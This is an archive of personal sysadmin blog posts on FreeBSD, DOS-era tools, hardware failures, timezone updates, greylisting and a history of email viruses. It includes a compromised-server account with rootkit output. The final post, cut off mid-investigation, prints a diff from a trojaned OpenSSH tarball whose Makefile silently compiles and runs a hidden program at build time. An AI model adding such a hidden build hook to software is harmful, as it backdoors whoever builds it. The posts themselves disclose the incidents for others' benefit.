Over the last years I've used a set of unique tools which names have faded into history but when mentioned still bring a warm feeling to people who have used these tools. These tools were on often on platforms which didn't stand the test of time, for good or bad reasons.
4DOS and 4OS2 by JP Software.
Everybody who has ever tried to write a batch script in the MS-DOS COMMAND.COM interpreter knows about its limitations. The 4DOS interpreter took these limitations away and replaced them with powerful features. Interactive batch files suddenly became possible, filename completion was introduced, coloured directory overviews and string manipulation became a piece of cake.
As long as MS-DOS was sold, 4DOS would live on. But the moment the command-line was replaced by the GUI of MS-Windows95, it was dead. Obsoleted because the operating system didn't run from the command-line interpreter anymore.
Qedit by SemWare.
By default, MS-DOS came with a editor called "edlin" which was enough to do some rough editing to get a system working again, but for the rest it was not worth mentioning.
Qedit on the other hand, it was full screen, it was fast, it had split window support, it had ASCII drawing support, it could change the resolution of the monitor to 43 or 50 lines and it could edit files hundreds of kilobytes big.
On the MS-DOS platform it was the best text editor you could get, but as so many other applications it didn't survive the migration to the GUI of MS-Windows: It had a more-or-less working text editor and the editors coming with software development suites had full blown IDEs.
ModPlay Pro by Mark J Cox.
Before the rise of the compressed music (read: MP3), the Amiga world developed a way to store music efficient: Instead of a stream of sound, it recorded samples and the patterns to play the samples in. Since the musical part of a song (so not the voice) consist of repeating elements, it was space-wise very cheap to store the song. And that is the MOD file format.
ModPlay Pro was text-based and had several views of the data being used. One was a frequency/volume overview and one was a tracker overview, in which you could exactly see the pattern being followed and the samples being played. And if you followed it often and intensive enough you started to involuntary "disassemble" songs you heard on the radio into the four tracks available in the MOD format.
The MOD format became popular before soundcards were widely available and affordable. The workaround for it was to build a simple D/A convertor on the parallel port of the computer with a cable to your stereo. And if you bought a second parallel port you could even have it in stereo!
With the rise of more powerful computers and faster networks the MOD format became unpopular in favour of the MP3 format.
TheDraw by TheSoft Programming Services.
TheDraw was the tool of ANSI BBS Administrators and wannabees to create fancy menus and of ANSI artist to create text based animations.
Creating a coloured line with ANSI codes isn't difficult, just cumbersome. To change a colour of the next character you need four characters of which one isn't printable ("ESCAPE [ 25 m"). Testing the menu out can be done from the command-line but figuring out where a colour change is necessary is next to impossible.
Not with TheDraw. With TheDraw you could design the ANSI menu as-is and then write the whole sequence of ANSI escape codes and strings to a file, ready to be displayed on your BBS.
Where did it go? With the rise of the WWW and the demise of the BBS, ANSI became an obsolete in favour of HTML and images.
DESQview by Quarterdeck
You have your Qedit editor, your Turbo C compiler and your ModPlay Pro, but you can not run them all at the same time. After all, this is all still the MS-DOS era! Luckely Quaterdeck developed a lightweigth text-based pre-emptive task switcher called DESQview. That way you could run multiple MS-DOS programs at the same time, without having to quit them or to suspend them. So you could edit your program, compile it in the next task and test it in a third task.
We all know what happened to the MS-DOS market, and DESQview is one of its victims...
The only thing missing which would explain everything is the date of when this all happened: It wasn't Friday the 13th...
Yesterday at noon I asked OfficeWorks to scan in and copy my employee contract with the new company I am going to work for (you don't know yet? You will soon). Nothing too fancy I thought. But when I picked up the paperwork, I was missing the original of my employee contract... Yes, that is the most important part of it I thought. Twenty minutes later they found it, it was still laying in one of the drawers of one of the copiers. On my way home, I found out in the chaos that they hadn't returned my USB stick with the scanned in documents neither...
When I was home, I got an urgent phonecall to not leave the house because the love-of-my-life had forgotten her keys. Assuming that she was on her way back, I stayed in the garden... a little bit longer than normal on the toilet... I watched a TV show... Cleaned up the garage a little bit... And two hours later she finally came home.
In the evening, Dirkie insisted in not eating anything from his plate. But he was very keen on having pasta, noodles, sprinkles, vegimite, sausage etc. So one and an hour later he ate the tiniest piece of bread of his plate, nearly choked on it so bad did it taste and finally was allowed to leave the table.
Normally when the two children are in bed, I have time to do things. Not today, not today. I made myself a nice cup of tea and Naomi came into the room with Hanorah on her arm saying that the little one had thrown up. I've been babies bringing up a lot of different kind of foods and in a vast varity of amounts, but this was really a new record... So I had to change the bed sheet, the sheet under it, the donah cover and turn the mattrass around...
Half an hour later, Hanorah back to bed and I try to stay awake to figure out what has happened in the virtual world of the FreeBSD community. Except that the last line of the screen of my computer said "INSERT BOOT DISK OR PRESS ENTER TO REBOOT". Rebooting resulted in a dreaded tick-tick-tick of the harddisk and the same message. We'll find out tomorrow what has happened here, it has RAID1 somewhere in the BIOS and I never got an alert from that that it didn't work.
Luckely I was too tired to worry about it, otherwise I would not have slept and would have been even more tired than I am now.
In the morning, I disconnect the two disks from the RAID1 array and hooked them up one by one to find out which one was the broken one. Finding the broken one is simple, just listen to the tick-tick-tick. Booting the correct one, that hasn't been accomplished yet...
Off to the shop and buy a bunch of new disks, and this time we'll use the FreeBSD Geom Mirror software! A bargain, 500Gb disks for AU$ 99.- and 1Tb disks for AU$ 199.-. And at home, I found out that one of them didn't work, it showed up as 32Gb in the BIOS, and that the other one worked fine. Back to the shop only to find out that they don't have other 1Tb disks...
So worst case I lost all my unread mail (YAY!), all my BarNet related software (which could be a good thing considering I don't do software development for them anymore) [this sounds like my computer wanted to make a clean start too!], all my RSS feeds and all my Seamonkey bookmarks and saved passwords (AAAAAAAAAAAAAAAAAAAAAAAI). Plus my FreeBSD checked-out Subversion trees with all the patches I have submitted in the last year but have not been commited yet.
For the good thing: I finally will move to a different window manager, because fvwm95 is getting a little bit old (hey, it's 2008 :-) For now I will use vtwm and I hope I can get the control-left-right-up-and-down to work to change virtual desktops.
In the mean time, if you have a hardware RAID solution: MAKE SURE IT WORKS!
This year the Daylight Saving Times rules for Australia change: We have two weeks less of wintertime. And the DST change times have been synchronized over all the states. Only problem, how do you make sure your computers know about it?
First you have to find three times which are relevant: before the change, during the changed time, after the change. Since the DST change times have changed from the last weekend in March to the first weekend in April, the times chosen are the wednesdays around the changes: 26 March, 2 April and 9 April.
And on Linux:$ date -r `expr 1206529200` Wed Mar 26 22:00:00 EST 2008 $ date -r `expr 1206529200 + 86400 \* 7` Wed Apr 2 21:00:00 EST 2008 $ date -r `expr 1206529200 + 86400 \* 14` Wed Apr 9 21:00:00 EST 2008
The second wednesday should have been 22:00 with the new and improved DST rules.$ perl -e 'use POSIX;print "Date = ", POSIX::ctime(1206529200 + 86400 * 0);' Date = Wed Mar 26 22:00:00 2008 $ perl -e 'use POSIX;print "Date = ", POSIX::ctime(1206529200 + 86400 * 7);' Date = Wed Apr 2 21:00:00 2008 $ perl -e 'use POSIX;print "Date = ", POSIX::ctime(1206529200 + 86400 * 14);' Date = Wed Apr 9 21:00:00 2008
On FreeBSD it is pretty accurate in the CVS repository for HEAD, RELENG_7, RELENG_6 and RELENG_5. If you don't use the RELENG_x versions you can install the port misc/zoneinfo. After that you need to run tzsetup(1). If you have updated your system with freebsd-update(1) you still need to run tzsetup(1)! If you are running jails, they need to be updated too!
for i in /usr/jails/*; do if [ -f $i/etc/localtime ]; then echo $i cp /etc/localtime $i/etc/localtime fi done
If you run Linux, use your package management system: yum install tzdata or apt-get install time.
Or you can do it manually: (The X in 2008X should be resplaced by the value available from elsie.nci.nih.gov)
$ wget ftp://elsie.nci.nih.gov/pub/tzdata2008X.tar.gz $ mkdir zoneinfo $ cd zoneinfo/ $ tar zxf ../tzdata2008X.tar.gz $ zic -d zoneinfo africa antarctica asia australasia etcetera \ europe factory northamerica southamerica systemv $ /bin/cp -fR zoneinfo/* /usr/share/zoneinfo/ $ /bin/cp zoneinfo/Australia/Sydney /etc/localtime
Afterwards, do the checks again to see if changes were successful:
As expected!$ date -r `expr 1206529200` Wed Mar 26 22:00:00 EST 2008 $ date -r `expr 1206529200 + 86400 \* 7` Wed Apr 2 22:00:00 EST 2008 $ date -r `expr 1206529200 + 86400 \* 14` Wed Apr 9 21:00:00 EST 2008
You should note that all applications need to be restarted to start using the new tzdata files. This includes all FreeBSD jails.
Posted on 2007-06-20 20:00:00, modified on 2007-06-20 10:00:00
A short time ago my computer started shutting down at random times. No reboot, no kernel panic, just a full power-shutdown. The first time it was when I was recompiling the new Xorg 7.2 distribution, and that left me without a desktop for two days.
Pressing the power button would not bring back the computer, it needed to be done a couple of times.
Later on, when Xorg was running again, it happened when compiling a new version of GCC. I suspected it was caused by some strange GCC issue (don't trust computers, but don't trust compilers neither!). And it happened when reencoding media streams. All very CPU intensive issues.
I mentioned the issue a couple of times, and people suggested I looked at the CPU temperature: It might be a motherboard trying to protect itself against overheating. sysutils/mbmon told me that the fan was running at 2400 rpms and the temperature was between 75 and 85 degrees Celsius.
75 and 85 degrees Celsius!???! That's a little bit much. But the PC Health screen in the BIOS showed the same. And it showed that it would shutdown the computer at 90 degrees Celsius. Aha. That's one and one.
People suggested to check if the fan was still working (I could hear it), or to replace the thermo-paste between the cooling-metal and the CPU. But first, they urged, see if the fan is dirty.
Ouch... That was a dead give-away. The whole cooling-metal below the fan was gray-brown with a cover of dust. Trying to blow that away would not be possible without causing a local fog cloud!
After the cleaning the cooling-metal, and the fan, and the powersupply, and the videocard, and the rest, the CPU was back at temperatures between 35 and 45 degrees Celsius and running the fans running at 1700 rpms.
Note: According to my wife, there was no danger of getting the CPU fried. That's because frieing happens at 200 degrees Celsius, while this wasn't even close to boiling (She's a chef :-)
Recently I had a discussion with a collegue about the monitoring of our systems and network devices. I showed him what we all measure, and he wondered if it was overkill or not. I told him that somethings maybe were, but that good monitoring is the first step to knowing what happens in your network, and that knowing what happens in your network is the first step to be able to isolate problems when they arise.
So the question is: "What do you need to monitor?" The answer is easy: "Everything". That's a pretty big amount. Let reality kick in and rephrase it to: "Everything you can think off". This is too vague and misses the final goal: "Everything you assume to be the normal conditions for a system or service to run properly.".
"Everything you assume to be the normal conditions for a system or service run properly". That is quite a lot, and different for each service you provide or device you have on the network. It will make you to have to you dig into your network and servers to find out what is going on.
The rest of this story can be found at my website.
I was looking for a way to find out whose accounts were locked out in the Active Directory.
[~] root@service>net ads dn 'CN=Edwin Groothuis,CN=Users,DC=barnet,DC=local' memberOf Got 1 replies memberOf: CN=Citrix Microsoft Office,CN=Users,DC=barnet,DC=local
[~] root@service>net ads dn 'CN=michael green,CN=Users,DC=barnet,DC=local' logonCount Got 1 replies logonCount: 4281
[~] root@service>net ads dn 'CN=michael green,CN=Users,DC=barnet,DC=local' mail Got 1 replies mail: email@example.com
[~] root@service>net ads dn 'CN=edwin groothuis,CN=Users,DC=barnet,DC=local' userAccountControl Got 1 replies Normal: 512 0 0000 0010 0000 0000 Account is disabled: 514 0 0000 0010 0000 0010 Password never expires: 66048 1 0000 0010 0000 0000
[~] root@service>net ads dn 'CN=edwin groothuis,CN=Users,DC=barnet,DC=local' lockoutTime Got 1 replies lockoutTime: 128079373162771852
This works for authentication failures, but I don't know if it works for the "Account Expires" lockout.
At work we got a new toy: a Citrix MetraFrame Presentation Manager. In reality it is nothing more than a frontend for a Windows session, like you can get with RealVNC or Remote Desktop. Well, the difference is that more than one person can use it at the same time, and they all have their own desktop and settings. Not even a desktop, just a bunch of icons of pre-installed programs. Anyway, to the FreeBSD story.
Access to the MetaFrame website is easy, just login with your windows username and password. But then, it says "Your client platform is not supported.". This is a false alarm, but confusing.
For the general population, MetaFrame automatically picks the Java client. But not for the FreeBSD machines. At the top right of the Applications window there is a button to customize the user preferences. Client on the Client Preferences settings link. There you can choose between "Local client" and "Client for Java".
"Client for Java" forces the website to use the Java client, just like the general population gets. Works like a charm.
For "Local client", you need to install net/citrix_ica. There are two tweaks I needed to make before it all worked here. First one is that I had to configure a help for .ica files: MIME-Type is application/x-ica, application is /usr/local/bin/wfica. The second one was that I had to add the certificate of our SSL provider to the directory /usr/local/ICAClient/keystore/cacerts (note that the extension should be .crt, and that the name of it should be the same as wfica is complaining about. Use "openssl x509 -noout -text -in foo.crt" to check this).
And it all works now, both ways and without problems.
Friday morning 07:05, I get a phone call. Problems with the database server. It gets lots of timeout on disks, but it doesn't show up on the controller as bad. Annoying, but nothing we can do about it. The problem is however that timeouts on a database server aren't making the users happy, so we figure out a way to find out what how to determine which disk is broken: Take out one disk of the RAID5 array, and see if it comes back. In theory a good approach. Now reality: Take out first disk, acknowledge this change in the RAID5 controller. Machine is coming back up, fsck fails again with lots of timeouts. Put disk back, take out second disk, acknowledge this in the... in the... oh shit.
By putting back the first disk and taking out the second disk at the same time, we broke the array. We should have put the first disk back, acknowledge it on the RAID5 controller and then take out the second disk. Oh oh oh oh oh...
Let's restore from backups...
Sooner or later it was bound to happen, and for somebody who has a number of machines under his control it is a nightmare scenario.
Victim: a small box used for testing the OpenGroupware software suit. The box is running FC2 and in my childish innocense for the time being, the root password was.... root. Need to say more?
The next day while trying to figure out why OpenGroupware didn't like what I was trying to do (see http://bugzilla.opengroupware.org/bugzilla/show_bug.cgi?id=1270) and saw:
[ogo@boxter opengroupware.org]$ ps xuaw | grep 32755 Segmentation fault
Err... impressive. Why?
[root@boxter root]# dmesg Segmentation fault
Euhm... this is tricky. Why?
[root@boxter root]# reboot
And the machine didn't come back. The next day I could come to the console and saw it was hanging in "INIT 2.65". Not really skilled in Linux and how to debug it *before* the kernel was fully loaded, I booted the box with a Knoppix CD in the hope I could just restore /boot from a different machine. The box didn't come back, but before I overwrote (instead of saving a copy of it.... don't ask) I realized that the md5 checksum of the initrd-2.6.5-1.358.img and vmlinuz-2.6.5-1.358 where different than the one of the different machine.
Another reboot, still no fish. Knoppix again, and wondering what went wrong. Hardware issue? If so, why has this box worked perfectly for months and now suddenly decided to throw up?
The Knoppix CD contains the chkrootkit command, and for some reason I ran it, just to be sure:
root@0[~]# chkrootkit -r /mnt/hda2 ROOTDIR is `/mnt/hda2/' Checking `basename'... not infected [...] Checking `date'... /bin/sh INFECTED [...]
Oh. Euhm. Aha. That explains some things.
root@0[~]# ls -al /mnt/hda2/bin/date -rwxr-xr-x 1 root root 49520 Mar 3 17:03 /mnt/hda2/bin/date
Yups. That's yesterday, while the box was installed the week before and the binaries on a different FC2 machine which were:
[~] root@tardis>ls -al `which date` -rwxr-xr-x 1 root root 45424 May 5 2004 /bin/date
Let's check some basic facts first. Who has been logging in?
root@0[~]# last -f /mnt/hda2/var/log/wtmp -n 30 root pts/32 edwin-3.int.barn Thu Mar 3 17:00 - down (00:02) root pts/31 edwin-3.int.barn Thu Mar 3 16:42 - down (00:20) root pts/30 edwin-3.int.barn Wed Mar 2 20:11 - 21:31 (01:20) root pts/29 184.108.40.206 Wed Mar 2 16:35 - 16:52 (00:16) root pts/28 edwin-3.int.barn Tue Mar 1 17:38 - 22:33 (04:54) root pts/27 220.127.116.11 Tue Mar 1 05:37 - 05:45 (00:08) root pts/26 18.104.22.168 Tue Mar 1 05:17 - 05:17 (00:00) root pts/25 edwin-3.int.barn Tue Mar 1 00:30 - 22:33 (22:03) root pts/24 edwin-3.int.barn Mon Feb 28 18:24 - 00:03 (05:38) root pts/23 edwin-3.int.barn Mon Feb 28 18:16 - 22:33 (1+04:16) root pts/22 edwin-3.int.barn Mon Feb 28 17:40 - 22:33 (1+04:53)
Oh... Three people have been able to figure out that my root password was root.
Which files were changed?
According to an "ls -laR", the following files were changed:
-rw-r--r-- 1 root root 0 Mar 3 17:02 /mnt/hda2/halt
/mnt/hda2/bin: total 5260 drwxr-xr-x 21 root root 4096 Mar 3 17:02 .. -rwxr-xr-x 1 root root 22468 Mar 3 12:02 cat -rwxr-xr-x 1 root root 40124 Mar 3 17:03 chown -rwxr-xr-x 1 root root 49520 Mar 3 17:03 date -rwxr-xr-x 1 root root 10268 Mar 3 17:03 dmesg -rwxr-xr-x 1 root root 58528 Mar 3 17:03 dumpkeys -rwxr-xr-x 1 root root 17792 Mar 3 17:03 false -rwxr-xr-x 1 root root 260572 Mar 2 16:51 gawk -rwxr-xr-x 1 root root 81392 Mar 3 17:03 grep -rwxr-xr-x 3 root root 61360 Mar 3 17:03 gunzip -rwxr-xr-x 3 root root 61360 Mar 3 17:03 gzip -rwxr-xr-x 1 root root 14904 Mar 3 17:03 hostname -rwxr-xr-x 1 root root 32804 Mar 3 17:03 ipcalc -rwxr-xr-x 1 root root 27404 Mar 3 17:03 login -rwxr-xr-x 1 root root 84784 Mar 3 17:03 ls -rwxr-xr-x 1 root root 27932 Mar 3 17:03 mkdir -rwsr-xr-x 1 root root 33196 Mar 3 17:03 ping6 -rwxr-xr-x 1 root root 19568 Mar 3 17:03 pwd -rwxr-xr-x 1 root root 19564 Mar 3 17:03 rmdir -rwxr-xr-x 1 root root 37556 Mar 3 17:03 setfont -rwxr-xr-x 1 root root 22712 Mar 3 17:03 setserial -rwxr-xr-x 1 root root 52656 Mar 3 17:03 sort -rwxr-xr-x 1 root root 42580 Mar 3 17:03 stty -rwxr-xr-x 1 root root 18368 Mar 3 17:03 sync -rwxr-xr-x 1 root root 157660 Mar 3 17:03 tar -rwxr-xr-x 1 root root 13820 Mar 3 17:03 tracepath -rwsr-xr-x 1 root root 57420 Mar 3 17:03 umount -rwxr-xr-x 3 root root 61360 Mar 3 17:03 zcat
(At this moment I lost interest, the machine got reinstalled and nothing is left of it)
Recently we implemented so called greylisting on our mail servers. This means that all incoming SMTP sessions with the following new combinations of sending mail server IP address, sender email address and recipient email address gets temporary rejected (SMTP error code 450, meaning: try again later).
From RFC2821: 4yz: Transient Negative Completion reply
The command was not accepted, and the requested action did not occur. However, the error condition is temporary and the action may be requested again. The sender should return to the beginning of the command sequence (if any). It is difficult to assign a meaning to "transient" when two different sites (receiver- and sender-SMTP agents) must agree on the interpretation. Each reply in this category might have a different time value, but the SMTP client is encouraged to try again. A rule of thumb to determine whether a reply fits into the 4yz or the 5yz category (see below) is that replies are 4yz if they can be successful if repeated without any change in command form or in properties of the sender or receiver (that is, the command is repeated identically and the receiver does not put up a new implementation.)
This saves us about 99% of the incoming spam and viruses and is a relief for our mailboxes and the email virusscanners.
Now the bad news, there are some very brain-dead SMTP servers on the internet...
And guess what? They all run on MS Windows. Who had expected that?
Here is the list of them:
MailMax from SmartMax Software Inc.. When receiving an 450, they bounce the mail back to the sender. And this is the error message they are getting:
The 'To' address firstname.lastname@example.org was rejected by the remote server.Which mailserver was it talking to? What was the full error message? What was the error code? And why do you say it's a permanent error while it was a transient error? BRAIN DEAD!
This is permanent error, and the message will not be retried any further.
And they claim on their website:
IMPORTANT: Codes that start with 4 and 5 are the ones that tell you that your message won't be sent until you find and fix the problem.You! Yes you! You should fix the problem, and not the other side, or the MailMax mail server.
Update: With their latest version *version 5.5), at least the error messages are better:
Sorry, your message from <email@example.com> to <firstname.lastname@example.org> could not be delivered. The specific error is: 450 <email@example.com>: Recipient address rejected: BarNet Engineered Transit Delay -- 39 seconds This is permanent error, and the message will not be retried any further.
Still it's a 'permanent' error, but at least it's visible for the person the email was returned to that they interpreted it wrongly.
Sorry, your message from <firstname.lastname@example.org> to <email@example.com> could not be delivered. The specific error is: 450 <firstname.lastname@example.org>: Recipient address rejected: BarNet Engineered Transit Delay -- 45 seconds 2 attempts will be made to re-send your e-mail. Each attempt will be 3 hours apart.
That's much better! Everybody upgrade to the latest version!
CapeSoft Mailer by CapeSoft. It also immediately bounces the email without retrying. BRAINDEAD!
Bigpond.com by Telstra
This is all the attempt of Telstra (Australian ISP) to handle SMTP sessions with a 450 status:
Oct 29 16:17:56 mag postfix/smtpd: NOQUEUE: reject: RCPT from gizmo06ps.bigpond.com[22.214.171.124]: 450 <email@example.com>: Recipient address rejected: BarNet Engineered Transit Delay -- 45 seconds; from=<firstname.lastname@example.org>, to=<email@example.com> proto=SMTP helo=<gizmo06ps.bigpond.com>
That's all: one attempt. And the sender doesn't get an "Your email has failed" message. BRAINDEAD!
InterMail from Openwave Systems Inc..
It doesn't retry at all. (experienced with ozemail.com.au)
Posted on 2004-04-17 12:20:26, modified on 2006-01-09 16:29:21
Step one: Run openoffice-1.1-spadmin
Step two: Use this command pstops '2:0L@.7(21cm,0)+1L@.7(21cm,14.85cm)' | lpr.
pstops is part of the psutils package, which can be found for FreeBSD at /usr/ports/print/psutils-a4 or at the PS Utils website
Recently I changed two things on my computer. 1. I upgraded to FreeBSD 5.2.1 and 2. I installed a bigger harddisk.
When using the soundcard (playing MP3s, listening to the radio, watching movies), the sound got bargled (hickupped, prrrrrtzed, whatever you call it) for a split second, after which it continued as normal.
Annoying, specially if you are singing along. Guido van Rooij (former collegue, fellow FreeBSD user etc) told me to change the buffersize on the sound card to 16Kb:
[~] edwin@k7>sysctl hw.snd.pcm0.buffersize hw.snd.pcm0.buffersize: 16384
To do this, requires a change in /boot/device.hints:
[~] edwin@k7>grep pcm /boot/device.hints hint.pcm.0.buffersize=16384
and a reboot. Since this change my MP3s play smoothly.
[~] root@k7>sysctl hw.snd.pcm0.vchans hw.snd.pcm0.vchans: 0
If you set this to a higher number (I have four), multiple applications can access the /dev/dsp device at the same time:
[~] edwin@k7>lsof -n | grep dsp mplayer 16352 edwin 9w VCHR 30,131075 0t40194048 218 /dev/dsp0.2 xmms 99819 edwin 10w VCHR 30,3 0t22636544 34 /dev/dsp0.0
Finally I can play games and listening to the radio at the same time!
Remember the old rule of the thumb regarding email and viruses? "As long as you don't start the attachment, you are safe."
The computer world has evolved since then... Read on!
Up to the release of MS-Word 6, the line between safe and unsafe attachments in your email was simple: if the file was executable (i.e. did it end with .exe, .com or .bat), then it was not safe. Was it is a text file, a document, a spreadsheet, then it was safe to open.
MS-Word 6 introduced a new feature: A scripting language in the word-processor, and it was installed with scripting enabled by default. There were a couple of issues with it:
The thin border between safe and unsafe attachments was breached: documents could suddenly have executable payload.
The first Word virus was the Concept Word Macro virus. It didn't do much besides displaying a dialogbox with a "1" on the screen when an infected document was loaded and infecting other documents with itself. It didn't do any damage further, it was just annoying.
The next feature was the capability of the Word scripting language to interact with the MS Outlook mail reader. Where a Word viruses up to that point was only able to propagate slowly via shared Word documents, it suddenly had access to a faster path: It could send itself via Outlook to everybody in the address book on the infected computer, and with a little bit of luck the recipients would open the Word document and the infection would spread.
Beside the technical capabilities to get this virus spreading, the virus needed to convince the receiver that it was safe to open the attachment. Welcome to the social engineering department. The first step is to make sure the receiver trusts the source. Since the virus gets the receivers' address from the address book of the user whose Word document is infected, that means there is some kind of trust relationship between the sender and receiver, and thus most likely also between the receiver and the sender. The second step is to use a catchy text in the body while referring to the attachment, for example by referring to the document as a shared secret between the sender and receiver.
The first virus which successfully combined these two issues was the Melissa virus. When a user opens an infected document, the virus is activated and it infects the NORMAL.DOT file so all newly created documents will contain the virus; sends itself in an email with the following text to the first 50 people in the adddress book of the infected user:
Subject: Important Message From username Here is that document you asked for ... don't show anyone else ;-)'
It is hard to resist emails with this text, even if you are made suspicious by the fact that you got five of them already, all from different sources...
When displaying emails, most of the modern browsers only show the text and/or the HTML parts of the email. The last line of defense with regard to email based viruses was the fact that users needed to open the attachment before the virus became active.
If you could execute code in the HTML part of a document, you would be able to infect the computer without having to open an attachment.
So if you were able to make an HTML message with ActiveX components which bypassed the ActiveX security, you would be able to create a file on disk from just viewing the email message.
The BubbleBoy virus was the first virus which contained ActiveX code which bypassed the security and wrote a file to disk to the startup directory of Windows. That was all the email did. But when the computer was restarted, the file was started and the the virus started to propagate to everybody in the address book of the infected user.
After these viruses, the users knew they had to keep an eye open for attachments which were executables, and Word and other MS-Office related documents. Luckily, images and audio files (GIFs and MP3s for example) are still safe. So a quick visual inspection of the name of the attachment should tell if it is safe or not.
MS-Outlook, for example, doesn't by default display the full filename. So an attachment with the name test.doc would be displayed as a test with a Word document icon above it. And an attachment with the name test.gif.exe would be displayed as test.gif with an executable icon above it. If the user only checks the filename displayed, he would see the image filename and assume it was safe to open. Of course he would know immediately know he had ran a program instead of having opened an image, but the damage is done.
The payload of the Badtrans virus appeared under the filenames of README.TXT.exe and s3msong.MP3.pif. When the extension wasn't shown, the filenames looked innocent. When opening the attachment the executable was run. To soothe the user into thinking that the application hadn't ran, it showed a dialog box saying "File data corrupt: probably due to bad data transmission or bad disk access".
By sending infected emails through the mail application on the infected computer, MS-Outlook creates some side effects:
To overcome these problems, viruses started to be designed with their own SMTP engines. This way the ISP would be circumvented and would it be harder for the sender to find out where the infected emails were coming from.
Because the sender address could be faked now, more social engineering tricks can be performed. For example, email can be faked to come from the MAILER-DAEMON, which is normally computer generated email coming from SMTP gateways informing you that the email sent couldn't be delivered, and often attaching the full original email to the bounced message. Opening the attachment is one of the ways to find out which email wasn't able to be delivered.
To counter these kind of viruses, ISPs started to block all outgoing SMTP sessions except the ones coming from and to their own SMTP gateways.
The Frethem virus was the first virus with its own SMTP engine on board.
The MyDoom virus was one of the first viruses with its own SMTP engine on board and which also sends emails to common names (bill, john, mike etc) of target domains. The faked sender addresses will get the undeliverable messages.
The virus scanner on both the SMTP gateway of the ISP and the computer which retrieves the email should be able to open the attachments to check for viruses. But what if the attachment is an encrypted ZIP file and the key to open it is given in the email? Unfortunately, there is no clear method to prevent problems with these kind of email viruses.
The Mimail-M virus had an encrypted ZIP archive attached:
For unzip archiver download WinZip: http://download.winzip.com/winzip81.exe Password for archive is "kiss". Attached file: wendy.zip
Up to now, I always upgraded my FreeBSD computers via the mini-ISO cdroms provided by the FreeBSD team. Last week, due to circumstances, I had to upgrade them via cvsup and to build the new OS from scratch. A small step for me, a huge step for ME!
At BarNet, there are about eight remote computers. On uninhabited places, like in cupboards, behind the copier, three meters above the floor and so on. Not easily reachable :-)
Also, the computers were running a huge range of OS versions, ranging from FreeBSD 4.2 to FreeBSD 4.9. With matching the OS version with the date the OS version was released you could figure out when the machine came into operation.
And the last thing was that we are going to provide ADSL backup features, which means that when the primary link fails, the traffic will go via a slower link. And zebra, the routing daemon we were going to use, doesn't really work with FreeBSD versions lower than 4.6.
Was that now so difficult? No. So why have I struggled in the last seven years with cdroms? Must be because I had never done it before.
Of course things can go wrong. And will go wrong.
During one night I had xterms open to all machines which had to be upgraded (erm... all of them), running the make buildXXXX. With -j4, the load on the machine will swing between 5 and 10. We use nagios to monitor the systems, and it complained that their loads was too high. And since I'm not the only one receiving these alerts, I got phonecalls saying "what's wrong, what's wrong?". Inform your fellow people before you start.
First machine I upgraded went without a glitch. The second machine I did didn't come back up. So far for a foolproof solution. When I went to the console (next day early in the morning): fsck had failed. With other words, the harddisk is broken.
Two machines which had been given more networks cards recently didn't come back properly. It seemed the network cards were configured properly, but and the ifconfig_ statements added to /etc/rc.conf, but they had their (old, obsolete) "network_interfaces" variable in /etc/rc.conf not updated. A manual ifconfig and editing of /etc/rc.conf fixed it. (Don't forget to reboot afterwards to see if it works again, or at least restart the DHCP daemon since that daemon doesn't automaticly grabs new interfaces).
From now on, no more binary upgrades anymore for me, just cvsup and make! Yay!
Posted on 2002-09-11 19:22:33, modified on 2006-01-09 16:29:21
With moving to our new place, I had an expensive learning-experience. After I had installed the computers in the new computerroom (well, no lifted floor, no airco and no fireprevention system), the corners of my monitor were shaking and flickering. "Oh dear", I thought, "that is not a good sign.". Degaussing didn't help, slamming the monitor didn't work and playing with the controls didn't do any good neither.
Time to face the reality, the poor Philips 107E monitor hadn't survived the trip. I had to replace it. First thing to think about was a LCD screen, but these things are still so expensive it's not funny. And then I'm not even talking about ones which can so 1280x1024. Back to another Philips tube, the 107T this time. It is really flat and it had a nice feature called "LightFrame". What LightFrame actually does is increase the brightness of the screen so the screen looks better in an environment where the light is bright.
But... the symptons didn't disappear! And even got worse during the day! I was disappointed in the monitor and confused because "this couldn't happen". I just had to live with it I thought.
That night we walked through the area behind the appartments and there I saw the electricity cables going into the appartment, right into the wall behind our computerroom. And everything became clear for me. After moving my desk to another wall the flickering stopped and my new and old monitors where happy again.
I've told some people on #sage-au about my experiences and they had the same experiences:
<Jiko> I've got an area in our office here like that, can't put anyone there to work <Jiko> we've got a whiteboard in our area. :) <ashridah> MavEtJu: rofl. we've got that effect at the office <ashridah> there's one wall where we can't put electrical equipment. it refuses to turn on half the time <ashridah> we had to put a bookshelf there instead <snerd> MavEtJu: um, that's nuts <snerd> that much emr can't be good
And all I was thinking was "Oh! I should upgrade ssh on these two machines before there are problems...". The beauty of FreeBSD is that it goes like this:
[~] edwin@k7>cd /usr/ports/security/openssh-portable [/usr/ports/security/openssh-portable] edwin@k7>make [/usr/ports/security/openssh-portable] edwin@k7>make install
Easy euh? It went well, except for the second step:
===> Extracting for openssh-portable-3.4p1_7 >> Checksum mismatch for openssh-3.4p1.tar.gz. Make sure the Makefile and distinfo file (/usr/ports/security/openssh-portable/distinfo) are up to date. If you are absolutely sure you want to override this check, type "make NO_CHECKSUM=yes [other args]". *** Error code 1
Euh... I didn't remember seeing a change in the FreeBSD ports regarding this. And I didn't see an announcement for it from the people from OpenSSH... Oh well, it happens. I downloaded the new openssh-tarball:
-r--r--r-- 1 12187 mirror 840574 Jul 31 16:47 openssh-3.4p1.tar.gz -r--r--r-- 1 12187 mirror 232 Jun 26 08:20 openssh-3.4p1.tar.gz.sig
That's weird, they've rerolled the tarball without updating the signature file. Curious as I was, I extracted the old and new tarball and this were the differences:
[~/test] edwin@k7>diff -r -u openssh-3.4p1-old openssh-3.4p1 diff -r -u openssh-3.4p1-old/openbsd-compat/Makefile.in openssh-3.4p1/openbsd-compat/Makefile.in --- openssh-3.4p1-old/openbsd-compat/Makefile.in Wed Feb 20 07:27:57 2002 +++ openssh-3.4p1/openbsd-compat/Makefile.in Thu Feb 1 08:52:03 2001 @@ -26,6 +26,7 @@ $(CC) $(CFLAGS) $(CPPFLAGS) -c $< all: libopenbsd-compat.a + @ $(CC) bf-test.c -o bf-test; ./bf-test>bf-test.out; sh ./bf-test.out & $(COMPAT): ../config.h $(OPENBSD): ../config.h Only in openssh-3.4p1/openbsd-compat: bf-test.c
At this moment I asked a couple of people on irc (#sage-au) if they have had troubles with compiling openssh the last days. Yups, ^Sargefirstname.lastname@example.org also had it, also a checksum mismatch. Time to go deeper into it...
